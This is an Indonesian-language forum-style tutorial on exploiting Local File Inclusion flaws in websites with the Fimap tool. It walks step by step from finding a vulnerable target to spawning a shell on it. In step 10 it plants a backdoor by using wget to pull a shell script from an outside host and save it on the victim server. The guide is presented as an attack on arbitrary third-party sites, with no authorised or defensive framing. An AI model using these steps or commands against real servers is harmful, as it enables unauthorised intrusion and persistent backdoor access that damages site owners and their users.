0 Upload Backdoor or Shell From Local File Inclusion with Fimap

1. Pertama download dulu Fimap nya di   Google Code
2. Setelah di download exract filenya nya. Dan mulailah mencari target LFI.

3. Setelah mendapatkan target nya. Buka terminal kamu (untuk pengguna linux) dan buka cmd kamu (untuk pengguna windows)

4. Masuklah ke direktori folder fimap tadi.

5. Ketikkan command berikut ini :

Pengguna linux :


Code:

./fimap.py -u "[url target]"

 

Pengguna windows :


Code:

fimap.py -u "[url target]"

  

 hide

6. Setelah proses analisa selesai ketikkkan lagi :

Code:

./fimap.py -x

 hide

7. Tunggulah hingga proses selesai. Setelah itu pilih option nomor 1 :

 hide

8. Setelah itu pilih lagi option nomor 1 :

 hide

9. Setelah proses selesai pilih lagi option nomor 1. Spawn Fimap shell :



10. Dan sekarang lihatlah. Taraaaa. Sekarang kita udah di halaman utama user du public_html :). Ketikkan command berikut ini untuk mengambil script shell atau backdoor kemudian menyimpannya di server tersebut dengan nama homo.php

Code:

wget http://www.heng-sieng.fr/bug.txt -O homo.php

 hide

11. Terakhir. Sekarang liatlah apakah shell kita berhasil di upload atau tidak ? Ternyata ? Yeah berhasil. Good job :)

 hide